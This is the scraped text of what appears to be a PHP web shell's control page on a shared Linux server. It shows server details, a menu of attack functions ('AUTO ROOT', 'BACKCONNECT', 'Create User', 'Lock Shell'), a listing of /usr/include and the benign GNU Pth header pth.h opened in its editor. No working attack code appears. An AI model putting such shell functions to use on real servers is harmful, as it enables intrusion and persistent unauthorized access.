Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
X11
[ DIR ]
drwxr-xr-x
arpa
[ DIR ]
drwxr-xr-x
asm-generic
[ DIR ]
drwxr-xr-x
brotli
[ DIR ]
drwxr-xr-x
c++
[ DIR ]
drwxr-xr-x
c-client
[ DIR ]
drwxr-xr-x
drm
[ DIR ]
drwxr-xr-x
et
[ DIR ]
drwxr-xr-x
file
[ DIR ]
drwxr-xr-x
finclude
[ DIR ]
drwxr-xr-x
freetype2
[ DIR ]
drwxr-xr-x
gdb
[ DIR ]
drwxr-xr-x
gssapi
[ DIR ]
drwxr-xr-x
gssrpc
[ DIR ]
drwxr-xr-x
iproute2
[ DIR ]
drwxr-xr-x
kadm5
[ DIR ]
drwxr-xr-x
krb5
[ DIR ]
drwxr-xr-x
libcgroup
[ DIR ]
drwxr-xr-x
libdmmp
[ DIR ]
drwxr-xr-x
libexslt
[ DIR ]
drwxr-xr-x
libpng
[ DIR ]
drwxr-xr-x
libpng16
[ DIR ]
drwxr-xr-x
libxml2
[ DIR ]
drwxr-xr-x
libxslt
[ DIR ]
drwxr-xr-x
linux
[ DIR ]
drwxr-xr-x
lzma
[ DIR ]
drwxr-xr-x
misc
[ DIR ]
drwxr-xr-x
mit-krb5
[ DIR ]
drwxr-xr-x
mpeg2dec
[ DIR ]
drwxr-xr-x
mtd
[ DIR ]
drwxr-xr-x
mysql
[ DIR ]
drwxr-xr-x
ncursesw
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
netash
[ DIR ]
drwxr-xr-x
netatalk
[ DIR ]
drwxr-xr-x
netax25
[ DIR ]
drwxr-xr-x
neteconet
[ DIR ]
drwxr-xr-x
netinet
[ DIR ]
drwxr-xr-x
netipx
[ DIR ]
drwxr-xr-x
netiucv
[ DIR ]
drwxr-xr-x
netpacket
[ DIR ]
drwxr-xr-x
netrom
[ DIR ]
drwxr-xr-x
netrose
[ DIR ]
drwxr-xr-x
nfs
[ DIR ]
drwxr-xr-x
openssl
[ DIR ]
drwxr-xr-x
protocols
[ DIR ]
drwxr-xr-x
python3.10
[ DIR ]
drwxr-xr-x
rdma
[ DIR ]
drwxr-xr-x
readline
[ DIR ]
drwxr-xr-x
rpc
[ DIR ]
drwxr-xr-x
rpcsvc
[ DIR ]
drwxr-xr-x
ruby-3.0.0
[ DIR ]
drwxr-xr-x
sass
[ DIR ]
drwxr-xr-x
scsi
[ DIR ]
drwxr-xr-x
security
[ DIR ]
drwxr-xr-x
sound
[ DIR ]
drwxr-xr-x
tirpc
[ DIR ]
drwxr-xr-x
unicode
[ DIR ]
drwxr-xr-x
video
[ DIR ]
drwxr-xr-x
x86_64-linux-gnu
[ DIR ]
drwxr-xr-x
xen
[ DIR ]
drwxr-xr-x
xfs
[ DIR ]
drwxr-xr-x
xmltok
[ DIR ]
drwxr-xr-x
aio.h
7.56
KB
-rw-r--r--
aliases.h
1.98
KB
-rw-r--r--
alloca.h
1.17
KB
-rw-r--r--
ar.h
1.69
KB
-rw-r--r--
argp.h
24.95
KB
-rw-r--r--
argz.h
5.91
KB
-rw-r--r--
assert.h
4.53
KB
-rw-r--r--
byteswap.h
1.42
KB
-rw-r--r--
bzlib.h
6.09
KB
-rw-r--r--
ccze.h
4.65
KB
-rw-r--r--
chm_lib.h
5.77
KB
-rw-r--r--
clif.h
4.44
KB
-rw-r--r--
com_err.h
2.07
KB
-rw-r--r--
complex.h
7.95
KB
-rw-r--r--
cpio.h
2.21
KB
-rw-r--r--
crypt.h
10.87
KB
-rw-r--r--
ctype.h
10.71
KB
-rw-r--r--
curses.h
97.89
KB
-rw-r--r--
cursesapp.h
7.06
KB
-rw-r--r--
cursesf.h
27.37
KB
-rw-r--r--
cursesm.h
19.44
KB
-rw-r--r--
cursesp.h
8.55
KB
-rw-r--r--
cursesw.h
49.13
KB
-rw-r--r--
cursslk.h
7.15
KB
-rw-r--r--
db.h
120.22
KB
-rw-r--r--
db_185.h
5.84
KB
-rw-r--r--
dirent.h
12.22
KB
-rw-r--r--
dlfcn.h
8.17
KB
-rw-r--r--
elf.h
179.98
KB
-rw-r--r--
emacs-module.h
17.18
KB
-rw-r--r--
endian.h
2.25
KB
-rw-r--r--
envz.h
2.8
KB
-rw-r--r--
err.h
2.29
KB
-rw-r--r--
errno.h
1.64
KB
-rw-r--r--
error.h
2.36
KB
-rw-r--r--
eti.h
2.9
KB
-rw-r--r--
etip.h
9.68
KB
-rw-r--r--
execinfo.h
1.49
KB
-rw-r--r--
expat.h
42.68
KB
-rw-r--r--
expat_external.h
5.89
KB
-rw-r--r--
fastcgi.h
2.9
KB
-rw-r--r--
fcgi_config.h
4.04
KB
-rw-r--r--
fcgi_stdio.h
5.68
KB
-rw-r--r--
fcgiapp.h
18.42
KB
-rw-r--r--
fcgimisc.h
638
B
-rw-r--r--
fcgio.h
3.66
KB
-rw-r--r--
fcgios.h
3.52
KB
-rw-r--r--
fcntl.h
9.89
KB
-rw-r--r--
features-time64.h
1.38
KB
-rw-r--r--
features.h
17.44
KB
-rw-r--r--
fenv.h
5.65
KB
-rw-r--r--
fmtmsg.h
3.16
KB
-rw-r--r--
fnmatch.h
2.24
KB
-rw-r--r--
form.h
18.46
KB
-rw-r--r--
fstab.h
3.04
KB
-rw-r--r--
fts.h
9.35
KB
-rw-r--r--
ftw.h
6.19
KB
-rw-r--r--
gawkapi.h
39.69
KB
-rw-r--r--
gconv.h
4.11
KB
-rw-r--r--
gdbm.h
11.9
KB
-rw-r--r--
getopt.h
1.43
KB
-rw-r--r--
glob.h
7.13
KB
-rw-r--r--
gmpxx.h
126.09
KB
-rw-r--r--
gnu-versions.h
2.29
KB
-rw-r--r--
gnumake.h
2.84
KB
-rw-r--r--
grp.h
6.53
KB
-rw-r--r--
gshadow.h
4.42
KB
-rw-r--r--
gssapi.h
181
B
-rw-r--r--
iconv.h
1.81
KB
-rw-r--r--
ifaddrs.h
2.77
KB
-rw-r--r--
inttypes.h
8.14
KB
-rw-r--r--
jerror.h
15.35
KB
-rw-r--r--
jmorecfg.h
13.98
KB
-rw-r--r--
jpegint.h
15.7
KB
-rw-r--r--
jpeglib.h
49.1
KB
-rw-r--r--
kdb.h
67.59
KB
-rw-r--r--
krb5.h
402
B
-rw-r--r--
langinfo.h
17.43
KB
-rw-r--r--
lastlog.h
126
B
-rw-r--r--
libcgroup.h
1.42
KB
-rw-r--r--
libgen.h
1.35
KB
-rw-r--r--
libintl.h
4.47
KB
-rw-r--r--
limits.h
5.57
KB
-rw-r--r--
link.h
7.62
KB
-rw-r--r--
locale.h
7.5
KB
-rw-r--r--
lzma.h
9.63
KB
-rw-r--r--
lzx.h
2.47
KB
-rw-r--r--
magic.h
5.67
KB
-rw-r--r--
malloc.h
5.84
KB
-rw-r--r--
math.h
48.7
KB
-rw-r--r--
mcheck.h
2.38
KB
-rw-r--r--
memory.h
956
B
-rw-r--r--
menu.h
11.6
KB
-rw-r--r--
mntent.h
3.28
KB
-rw-r--r--
monetary.h
1.92
KB
-rw-r--r--
mpath_cmd.h
4.06
KB
-rw-r--r--
mpath_persist.h
11.22
KB
-rw-r--r--
mqueue.h
4.5
KB
-rw-r--r--
nc_tparm.h
4.67
KB
-rw-r--r--
ncurses.h
97.89
KB
-rw-r--r--
ncurses_dll.h
3.95
KB
-rw-r--r--
netdb.h
27.79
KB
-rw-r--r--
nl_types.h
1.71
KB
-rw-r--r--
nss.h
14.07
KB
-rw-r--r--
obstack.h
20.81
KB
-rw-r--r--
oniggnu.h
3.28
KB
-rw-r--r--
onigposix.h
6.61
KB
-rw-r--r--
oniguruma.h
47.56
KB
-rw-r--r--
panel.h
4.41
KB
-rw-r--r--
paths.h
2.91
KB
-rw-r--r--
png.h
143.2
KB
-rw-r--r--
pngconf.h
22.31
KB
-rw-r--r--
pnglibconf.h
7.42
KB
-rw-r--r--
poll.h
22
B
-rw-r--r--
printf.h
6.71
KB
-rw-r--r--
proc_service.h
3.4
KB
-rw-r--r--
profile.h
11.87
KB
-rw-r--r--
pth.h
21.26
KB
-rw-r--r--
pthread.h
47.24
KB
-rw-r--r--
pty.h
1.53
KB
-rw-r--r--
pwd.h
6.17
KB
-rw-r--r--
re_comp.h
963
B
-rw-r--r--
regex.h
25.3
KB
-rw-r--r--
regexp.h
1.35
KB
-rw-r--r--
resolv.h
11.96
KB
-rw-r--r--
sass.h
234
B
-rw-r--r--
sass2scss.h
2.46
KB
-rw-r--r--
sched.h
4.92
KB
-rw-r--r--
search.h
5.32
KB
-rw-r--r--
semaphore.h
3.38
KB
-rw-r--r--
setjmp.h
3.12
KB
-rw-r--r--
sgtty.h
1.31
KB
-rw-r--r--
shadow.h
5.34
KB
-rw-r--r--
signal.h
12.73
KB
-rw-r--r--
spawn.h
8.08
KB
-rw-r--r--
sqlite3.h
582.77
KB
-rw-r--r--
sqlite3ext.h
35.15
KB
-rw-r--r--
stab.h
264
B
-rw-r--r--
stdc-predef.h
2.4
KB
-rw-r--r--
stdint.h
8.28
KB
-rw-r--r--
stdio.h
30.45
KB
-rw-r--r--
stdio_ext.h
2.73
KB
-rw-r--r--
stdlib.h
35.54
KB
-rw-r--r--
string.h
19
KB
-rw-r--r--
strings.h
4.64
KB
-rw-r--r--
sudo_plugin.h
11.64
KB
-rw-r--r--
syscall.h
25
B
-rw-r--r--
sysexits.h
5.11
KB
-rw-r--r--
syslog.h
24
B
-rw-r--r--
tar.h
3.66
KB
-rw-r--r--
term.h
40.75
KB
-rw-r--r--
term_entry.h
8.88
KB
-rw-r--r--
termcap.h
3.39
KB
-rw-r--r--
termio.h
214
B
-rw-r--r--
termios.h
3.51
KB
-rw-r--r--
tgmath.h
43.61
KB
-rw-r--r--
thread_db.h
15.65
KB
-rw-r--r--
threads.h
7.51
KB
-rw-r--r--
tic.h
14.55
KB
-rw-r--r--
time.h
14.49
KB
-rw-r--r--
ttyent.h
2.44
KB
-rw-r--r--
uchar.h
1.96
KB
-rw-r--r--
ucontext.h
1.99
KB
-rw-r--r--
ulimit.h
1.55
KB
-rw-r--r--
unctrl.h
3.1
KB
-rw-r--r--
unistd.h
43.91
KB
-rw-r--r--
utime.h
1.86
KB
-rw-r--r--
utmp.h
3.15
KB
-rw-r--r--
utmpx.h
4
KB
-rw-r--r--
values.h
1.91
KB
-rw-r--r--
wait.h
22
B
-rw-r--r--
wchar.h
31.05
KB
-rw-r--r--
wctype.h
5.42
KB
-rw-r--r--
wordexp.h
2.44
KB
-rw-r--r--
yaml.h
53.08
KB
-rw-r--r--
zconf.h
15.88
KB
-rw-r--r--
zdict.h
18.02
KB
-rw-r--r--
zlib.h
94
KB
-rw-r--r--
zstd.h
135.09
KB
-rw-r--r--
zstd_errors.h
3.74
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pth.h
/* ** GNU Pth - The GNU Portable Threads ** Copyright (c) 1999-2006 Ralf S. Engelschall <rse@engelschall.com> ** ** This file is part of GNU Pth, a non-preemptive thread scheduling ** library which can be found at http://www.gnu.org/software/pth/. ** ** This library is free software; you can redistribute it and/or ** modify it under the terms of the GNU Lesser General Public ** License as published by the Free Software Foundation; either ** version 2.1 of the License, or (at your option) any later version. ** ** This library is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ** Lesser General Public License for more details. ** ** You should have received a copy of the GNU Lesser General Public ** License along with this library; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 ** USA, or contact Ralf S. Engelschall <rse@engelschall.com>. ** ** pth.h: Pth public API definitions */ /* ``What you see is all you get.'' -- Brian Kernighan */ #ifndef _PTH_H_ #define _PTH_H_ /* the library version */ #ifndef PTH_VERSION_STR #define PTH_VERSION_STR "2.0.7 (08-Jun-2006)" #endif #ifndef PTH_VERSION_HEX #define PTH_VERSION_HEX 0x200207 #endif #ifndef PTH_VERSION #define PTH_VERSION PTH_VERSION_HEX #endif /* essential headers */ #include <sys/types.h> /* for ssize_t, off_t */ #include <time.h> /* for struct timespec */ #include <sys/time.h> /* for struct timeval */ #include <sys/socket.h> /* for sockaddr */ #include <sys/signal.h> /* for sigset_t */ #include <sys/select.h> /* fallbacks for essential typedefs */ #ifndef _PTHREAD_PRIVATE /* typedef int pid_t; */ /* typedef unsigned int size_t; */ /* typedef unsigned int ssize_t; */ /* typedef socklen_t socklen_t; */ /* typedef int off_t; */ /* typedef int sig_atomic_t; */ /* typedef nfds_t nfds_t; */ #endif /* !_PTHREAD_PRIVATE */ /* extra structure definitions */ struct timeval; struct timespec; /* essential values */ #ifndef FALSE #define FALSE (0) #endif #ifndef TRUE #define TRUE (!FALSE) #endif #ifndef NUL #define NUL '\0' #endif #ifndef NULL #define NULL (void *)0 #endif /* bitmask generation */ #define _BIT(n) (1<<(n)) /* C++ support */ #ifdef __cplusplus #define BEGIN_DECLARATION extern "C" { #define END_DECLARATION } #else #define BEGIN_DECLARATION /*nop*/ #define END_DECLARATION /*nop*/ #endif /* check if the user requests a bigger FD_SETSIZE than we can handle */ #if defined(FD_SETSIZE) #if FD_SETSIZE > 1024 #error "FD_SETSIZE is larger than what GNU Pth can handle." #endif #endif BEGIN_DECLARATION /* some global constants */ #define PTH_KEY_MAX 256 #define PTH_ATFORK_MAX 128 #define PTH_DESTRUCTOR_ITERATIONS 4 /* system call mapping support type (soft variant can be overridden) */ #define PTH_SYSCALL_HARD 0 #ifndef PTH_SYSCALL_SOFT #define PTH_SYSCALL_SOFT 0 #endif /* queries for pth_ctrl() */ #define PTH_CTRL_GETAVLOAD _BIT(1) #define PTH_CTRL_GETPRIO _BIT(2) #define PTH_CTRL_GETNAME _BIT(3) #define PTH_CTRL_GETTHREADS_NEW _BIT(4) #define PTH_CTRL_GETTHREADS_READY _BIT(5) #define PTH_CTRL_GETTHREADS_RUNNING _BIT(6) #define PTH_CTRL_GETTHREADS_WAITING _BIT(7) #define PTH_CTRL_GETTHREADS_SUSPENDED _BIT(8) #define PTH_CTRL_GETTHREADS_DEAD _BIT(9) #define PTH_CTRL_GETTHREADS (PTH_CTRL_GETTHREADS_NEW|\ PTH_CTRL_GETTHREADS_READY|\ PTH_CTRL_GETTHREADS_RUNNING|\ PTH_CTRL_GETTHREADS_WAITING|\ PTH_CTRL_GETTHREADS_SUSPENDED|\ PTH_CTRL_GETTHREADS_DEAD) #define PTH_CTRL_DUMPSTATE _BIT(10) #define PTH_CTRL_FAVOURNEW _BIT(11) /* the time value structure */ typedef struct timeval pth_time_t; /* the unique thread id/handle */ typedef struct pth_st *pth_t; struct pth_st; /* thread states */ typedef enum pth_state_en { PTH_STATE_SCHEDULER = 0, /* the special scheduler thread only */ PTH_STATE_NEW, /* spawned, but still not dispatched */ PTH_STATE_READY, /* ready, waiting to be dispatched */ PTH_STATE_WAITING, /* suspended, waiting until event occurred */ PTH_STATE_DEAD /* terminated, waiting to be joined */ } pth_state_t; /* thread priority values */ #define PTH_PRIO_MAX +5 #define PTH_PRIO_STD 0 #define PTH_PRIO_MIN -5 /* the thread attribute structure */ typedef struct pth_attr_st *pth_attr_t; struct pth_attr_st; /* attribute set/get commands for pth_attr_{get,set}() */ enum { PTH_ATTR_PRIO, /* RW [int] priority of thread */ PTH_ATTR_NAME, /* RW [char *] name of thread */ PTH_ATTR_JOINABLE, /* RW [int] thread detachment type */ PTH_ATTR_CANCEL_STATE, /* RW [unsigned int] thread cancellation state */ PTH_ATTR_STACK_SIZE, /* RW [unsigned int] stack size */ PTH_ATTR_STACK_ADDR, /* RW [char *] stack lower address */ PTH_ATTR_DISPATCHES, /* RO [int] total number of thread dispatches */ PTH_ATTR_TIME_SPAWN, /* RO [pth_time_t] time thread was spawned */ PTH_ATTR_TIME_LAST, /* RO [pth_time_t] time thread was last dispatched */ PTH_ATTR_TIME_RAN, /* RO [pth_time_t] time thread was running */ PTH_ATTR_START_FUNC, /* RO [void *(*)(void *)] thread start function */ PTH_ATTR_START_ARG, /* RO [void *] thread start argument */ PTH_ATTR_STATE, /* RO [pth_state_t] scheduling state */ PTH_ATTR_EVENTS, /* RO [pth_event_t] events the thread is waiting for */ PTH_ATTR_BOUND /* RO [int] whether object is bound to thread */ }; /* default thread attribute */ #define PTH_ATTR_DEFAULT (pth_attr_t)(0) /* the event structure */ typedef struct pth_event_st *pth_event_t; struct pth_event_st; /* event subject classes */ #define PTH_EVENT_FD _BIT(1) #define PTH_EVENT_SELECT _BIT(2) #define PTH_EVENT_SIGS _BIT(3) #define PTH_EVENT_TIME _BIT(4) #define PTH_EVENT_MSG _BIT(5) #define PTH_EVENT_MUTEX _BIT(6) #define PTH_EVENT_COND _BIT(7) #define PTH_EVENT_TID _BIT(8) #define PTH_EVENT_FUNC _BIT(9) /* event occurange restrictions */ #define PTH_UNTIL_OCCURRED _BIT(11) #define PTH_UNTIL_FD_READABLE _BIT(12) #define PTH_UNTIL_FD_WRITEABLE _BIT(13) #define PTH_UNTIL_FD_EXCEPTION _BIT(14) #define PTH_UNTIL_TID_NEW _BIT(15) #define PTH_UNTIL_TID_READY _BIT(16) #define PTH_UNTIL_TID_WAITING _BIT(17) #define PTH_UNTIL_TID_DEAD _BIT(18) /* event structure handling modes */ #define PTH_MODE_REUSE _BIT(20) #define PTH_MODE_CHAIN _BIT(21) #define PTH_MODE_STATIC _BIT(22) /* event deallocation types */ enum { PTH_FREE_THIS, PTH_FREE_ALL }; /* event walking directions */ #define PTH_WALK_NEXT _BIT(1) #define PTH_WALK_PREV _BIT(2) /* event status codes */ typedef enum { PTH_STATUS_PENDING, PTH_STATUS_OCCURRED, PTH_STATUS_FAILED } pth_status_t; /* the key type and init value */ typedef int pth_key_t; #define PTH_KEY_INIT (-1) /* the once structure and init value */ typedef int pth_once_t; #define PTH_ONCE_INIT FALSE /* general ring structure */ typedef struct pth_ringnode_st pth_ringnode_t; struct pth_ringnode_st { pth_ringnode_t *rn_next; pth_ringnode_t *rn_prev; }; typedef struct pth_ring_st pth_ring_t; struct pth_ring_st { pth_ringnode_t *r_hook; unsigned int r_nodes; }; #define PTH_RING_INIT { NULL } /* cancellation values */ #define PTH_CANCEL_ENABLE _BIT(0) #define PTH_CANCEL_DISABLE _BIT(1) #define PTH_CANCEL_ASYNCHRONOUS _BIT(2) #define PTH_CANCEL_DEFERRED _BIT(3) #define PTH_CANCEL_DEFAULT (PTH_CANCEL_ENABLE|PTH_CANCEL_DEFERRED) #define PTH_CANCELED ((void *)-1) /* mutex values */ #define PTH_MUTEX_INITIALIZED _BIT(0) #define PTH_MUTEX_LOCKED _BIT(1) #define PTH_MUTEX_INIT { {NULL, NULL}, PTH_MUTEX_INITIALIZED, NULL, 0 } /* read-write lock values */ enum { PTH_RWLOCK_RD, PTH_RWLOCK_RW }; #define PTH_RWLOCK_INITIALIZED _BIT(0) #define PTH_RWLOCK_INIT { PTH_RWLOCK_INITIALIZED, PTH_RWLOCK_RD, 0, \ PTH_MUTEX_INIT, PTH_MUTEX_INIT } /* condition variable values */ #define PTH_COND_INITIALIZED _BIT(0) #define PTH_COND_SIGNALED _BIT(1) #define PTH_COND_BROADCAST _BIT(2) #define PTH_COND_HANDLED _BIT(3) #define PTH_COND_INIT { PTH_COND_INITIALIZED, 0 } /* barrier variable values */ #define PTH_BARRIER_INITIALIZED _BIT(0) #define PTH_BARRIER_INIT(threshold) { PTH_BARRIER_INITIALIZED, \ (threshold), (threshold), FALSE, \ PTH_COND_INIT, PTH_MUTEX_INIT } #define PTH_BARRIER_HEADLIGHT (-1) #define PTH_BARRIER_TAILLIGHT (-2) /* the message port structure */ typedef struct pth_msgport_st *pth_msgport_t; struct pth_msgport_st; /* the message structure */ typedef struct pth_message_st pth_message_t; struct pth_message_st { /* not hidden to allow inclusion */ pth_ringnode_t m_node; pth_msgport_t m_replyport; unsigned int m_size; void *m_data; }; /* the mutex structure */ typedef struct pth_mutex_st pth_mutex_t; struct pth_mutex_st { /* not hidden to avoid destructor */ pth_ringnode_t mx_node; int mx_state; pth_t mx_owner; unsigned long mx_count; }; /* the read-write lock structure */ typedef struct pth_rwlock_st pth_rwlock_t; struct pth_rwlock_st { /* not hidden to avoid destructor */ int rw_state; unsigned int rw_mode; unsigned long rw_readers; pth_mutex_t rw_mutex_rd; pth_mutex_t rw_mutex_rw; }; /* the condition variable structure */ typedef struct pth_cond_st pth_cond_t; struct pth_cond_st { /* not hidden to avoid destructor */ unsigned long cn_state; unsigned int cn_waiters; }; /* the barrier variable structure */ typedef struct pth_barrier_st pth_barrier_t; struct pth_barrier_st { /* not hidden to avoid destructor */ unsigned long br_state; int br_threshold; int br_count; int br_cycle; pth_cond_t br_cond; pth_mutex_t br_mutex; }; /* the user-space context structure */ typedef struct pth_uctx_st *pth_uctx_t; struct pth_uctx_st; /* filedescriptor blocking modes */ enum { PTH_FDMODE_ERROR = -1, PTH_FDMODE_POLL = 0, PTH_FDMODE_BLOCK, PTH_FDMODE_NONBLOCK }; /* optionally fake poll(2) data structure and options */ #ifndef _PTHREAD_PRIVATE #define PTH_FAKE_POLL 0 #if !(PTH_FAKE_POLL) /* use vendor poll(2) environment */ #ifndef _XOPEN_SOURCE #define _XOPEN_SOURCE #define _XOPEN_SOURCE_set #endif #include <poll.h> #ifdef _XOPEN_SOURCE_set #undef _XOPEN_SOURCE_set #undef _XOPEN_SOURCE #endif #ifndef POLLRDNORM #define POLLRDNORM POLLIN #endif #ifndef POLLRDBAND #define POLLRDBAND POLLIN #endif #ifndef POLLWRNORM #define POLLWRNORM POLLOUT #endif #ifndef POLLWRBAND #define POLLWRBAND POLLOUT #endif #ifndef INFTIM #define INFTIM (-1) #endif #else /* fake a poll(2) environment */ #define POLLIN 0x0001 /* any readable data available */ #define POLLPRI 0x0002 /* OOB/Urgent readable data */ #define POLLOUT 0x0004 /* file descriptor is writeable */ #define POLLERR 0x0008 /* some poll error occurred */ #define POLLHUP 0x0010 /* file descriptor was "hung up" */ #define POLLNVAL 0x0020 /* requested events "invalid" */ #define POLLRDNORM POLLIN #define POLLRDBAND POLLIN #define POLLWRNORM POLLOUT #define POLLWRBAND POLLOUT #ifndef INFTIM #define INFTIM (-1) /* poll infinite */ #endif struct pollfd { int fd; /* which file descriptor to poll */ short events; /* events we are interested in */ short revents; /* events found on return */ }; #endif #endif /* !_PTHREAD_PRIVATE */ /* optionally fake readv(2)/writev(2) data structure and options */ #ifndef _PTHREAD_PRIVATE #define PTH_FAKE_RWV 0 #if !(PTH_FAKE_RWV) /* use vendor readv(2)/writev(2) environment */ #include <sys/uio.h> #ifndef UIO_MAXIOV #define UIO_MAXIOV 1024 #endif #else /* fake a readv(2)/writev(2) environment */ struct iovec { void *iov_base; /* memory base address */ size_t iov_len; /* memory chunk length */ }; #ifndef UIO_MAXIOV #define UIO_MAXIOV 1024 #endif #endif #endif /* !_PTHREAD_PRIVATE */ /* extension support */ #define PTH_EXT_SFIO 0 /* Sfio extension support */ #if 0 #include <sfio.h> #else typedef void *Sfdisc_t; #endif /* global functions */ extern int pth_init(void); extern int pth_kill(void); extern long pth_ctrl(unsigned long, ...); extern long pth_version(void); /* thread attribute functions */ extern pth_attr_t pth_attr_of(pth_t); extern pth_attr_t pth_attr_new(void); extern int pth_attr_init(pth_attr_t); extern int pth_attr_set(pth_attr_t, int, ...); extern int pth_attr_get(pth_attr_t, int, ...); extern int pth_attr_destroy(pth_attr_t); /* thread functions */ extern pth_t pth_spawn(pth_attr_t, void *(*)(void *), void *); extern int pth_once(pth_once_t *, void (*)(void *), void *); extern pth_t pth_self(void); extern int pth_suspend(pth_t); extern int pth_resume(pth_t); extern int pth_yield(pth_t); extern int pth_nap(pth_time_t); extern int pth_wait(pth_event_t); extern int pth_cancel(pth_t); extern int pth_abort(pth_t); extern int pth_raise(pth_t, int); extern int pth_join(pth_t, void **); extern void pth_exit(void *); /* utility functions */ extern int pth_fdmode(int, int); extern pth_time_t pth_time(long, long); extern pth_time_t pth_timeout(long, long); /* cancellation functions */ extern void pth_cancel_state(int, int *); extern void pth_cancel_point(void); /* event functions */ extern pth_event_t pth_event(unsigned long, ...); extern unsigned long pth_event_typeof(pth_event_t); extern int pth_event_extract(pth_event_t ev, ...); extern pth_event_t pth_event_concat(pth_event_t, ...); extern pth_event_t pth_event_isolate(pth_event_t); extern pth_event_t pth_event_walk(pth_event_t, unsigned int); extern pth_status_t pth_event_status(pth_event_t); extern int pth_event_free(pth_event_t, int); /* key-based storage functions */ extern int pth_key_create(pth_key_t *, void (*)(void *)); extern int pth_key_delete(pth_key_t); extern int pth_key_setdata(pth_key_t, const void *); extern void *pth_key_getdata(pth_key_t); /* message port functions */ extern pth_msgport_t pth_msgport_create(const char *); extern void pth_msgport_destroy(pth_msgport_t); extern pth_msgport_t pth_msgport_find(const char *); extern int pth_msgport_pending(pth_msgport_t); extern int pth_msgport_put(pth_msgport_t, pth_message_t *); extern pth_message_t *pth_msgport_get(pth_msgport_t); extern int pth_msgport_reply(pth_message_t *); /* cleanup handler functions */ extern int pth_cleanup_push(void (*)(void *), void *); extern int pth_cleanup_pop(int); /* process forking functions */ extern int pth_atfork_push(void (*)(void *), void (*)(void *), void (*)(void *), void *); extern int pth_atfork_pop(void); extern pid_t pth_fork(void); /* synchronization functions */ extern int pth_mutex_init(pth_mutex_t *); extern int pth_mutex_acquire(pth_mutex_t *, int, pth_event_t); extern int pth_mutex_release(pth_mutex_t *); extern int pth_rwlock_init(pth_rwlock_t *); extern int pth_rwlock_acquire(pth_rwlock_t *, int, int, pth_event_t); extern int pth_rwlock_release(pth_rwlock_t *); extern int pth_cond_init(pth_cond_t *); extern int pth_cond_await(pth_cond_t *, pth_mutex_t *, pth_event_t); extern int pth_cond_notify(pth_cond_t *, int); extern int pth_barrier_init(pth_barrier_t *, int); extern int pth_barrier_reach(pth_barrier_t *); /* user-space context functions */ extern int pth_uctx_create(pth_uctx_t *); extern int pth_uctx_make(pth_uctx_t, char *, size_t, const sigset_t *, void (*)(void *), void *, pth_uctx_t); extern int pth_uctx_switch(pth_uctx_t, pth_uctx_t); extern int pth_uctx_destroy(pth_uctx_t); /* extension functions */ extern Sfdisc_t *pth_sfiodisc(void); /* generalized variants of replacement functions */ extern int pth_sigwait_ev(const sigset_t *, int *, pth_event_t); extern int pth_connect_ev(int, const struct sockaddr *, socklen_t, pth_event_t); extern int pth_accept_ev(int, struct sockaddr *, socklen_t *, pth_event_t); extern int pth_select_ev(int, fd_set *, fd_set *, fd_set *, struct timeval *, pth_event_t); extern int pth_poll_ev(struct pollfd *, nfds_t, int, pth_event_t); extern ssize_t pth_read_ev(int, void *, size_t, pth_event_t); extern ssize_t pth_write_ev(int, const void *, size_t, pth_event_t); extern ssize_t pth_readv_ev(int, const struct iovec *, int, pth_event_t); extern ssize_t pth_writev_ev(int, const struct iovec *, int, pth_event_t); extern ssize_t pth_recv_ev(int, void *, size_t, int, pth_event_t); extern ssize_t pth_send_ev(int, const void *, size_t, int, pth_event_t); extern ssize_t pth_recvfrom_ev(int, void *, size_t, int, struct sockaddr *, socklen_t *, pth_event_t); extern ssize_t pth_sendto_ev(int, const void *, size_t, int, const struct sockaddr *, socklen_t, pth_event_t); /* standard replacement functions */ extern int pth_nanosleep(const struct timespec *, struct timespec *); extern int pth_usleep(unsigned int); extern unsigned int pth_sleep(unsigned int); extern pid_t pth_waitpid(pid_t, int *, int); extern int pth_system(const char *); extern int pth_sigmask(int, const sigset_t *, sigset_t *); extern int pth_sigwait(const sigset_t *, int *); extern int pth_connect(int, const struct sockaddr *, socklen_t); extern int pth_accept(int, struct sockaddr *, socklen_t *); extern int pth_select(int, fd_set *, fd_set *, fd_set *, struct timeval *); extern int pth_pselect(int, fd_set *, fd_set *, fd_set *, const struct timespec *, const sigset_t *); extern int pth_poll(struct pollfd *, nfds_t, int); extern ssize_t pth_read(int, void *, size_t); extern ssize_t pth_write(int, const void *, size_t); extern ssize_t pth_readv(int, const struct iovec *, int); extern ssize_t pth_writev(int, const struct iovec *, int); extern ssize_t pth_recv(int, void *, size_t, int); extern ssize_t pth_send(int, const void *, size_t, int); extern ssize_t pth_recvfrom(int, void *, size_t, int, struct sockaddr *, socklen_t *); extern ssize_t pth_sendto(int, const void *, size_t, int, const struct sockaddr *, socklen_t); extern ssize_t pth_pread(int, void *, size_t, off_t); extern ssize_t pth_pwrite(int, const void *, size_t, off_t); END_DECLARATION /* soft system call mapping support */ #if PTH_SYSCALL_SOFT && !defined(_PTH_PRIVATE) #define fork pth_fork #define waitpid pth_waitpid #define system pth_system #define nanosleep pth_nanosleep #define usleep pth_usleep #define sleep pth_sleep #define sigprocmask pth_sigmask #define sigwait pth_sigwait #define select pth_select #define pselect pth_pselect #define poll pth_poll #define connect pth_connect #define accept pth_accept #define read pth_read #define write pth_write #define readv pth_readv #define writev pth_writev #define recv pth_recv #define send pth_send #define recvfrom pth_recvfrom #define sendto pth_sendto #define pread pth_pread #define pwrite pth_pwrite #endif /* backward compatibility (Pth < 1.5.0) */ #define pth_event_occurred(ev) \ ( pth_event_status(ev) == PTH_STATUS_OCCURRED \ || pth_event_status(ev) == PTH_STATUS_FAILED ) #endif /* _PTH_H_ */
Close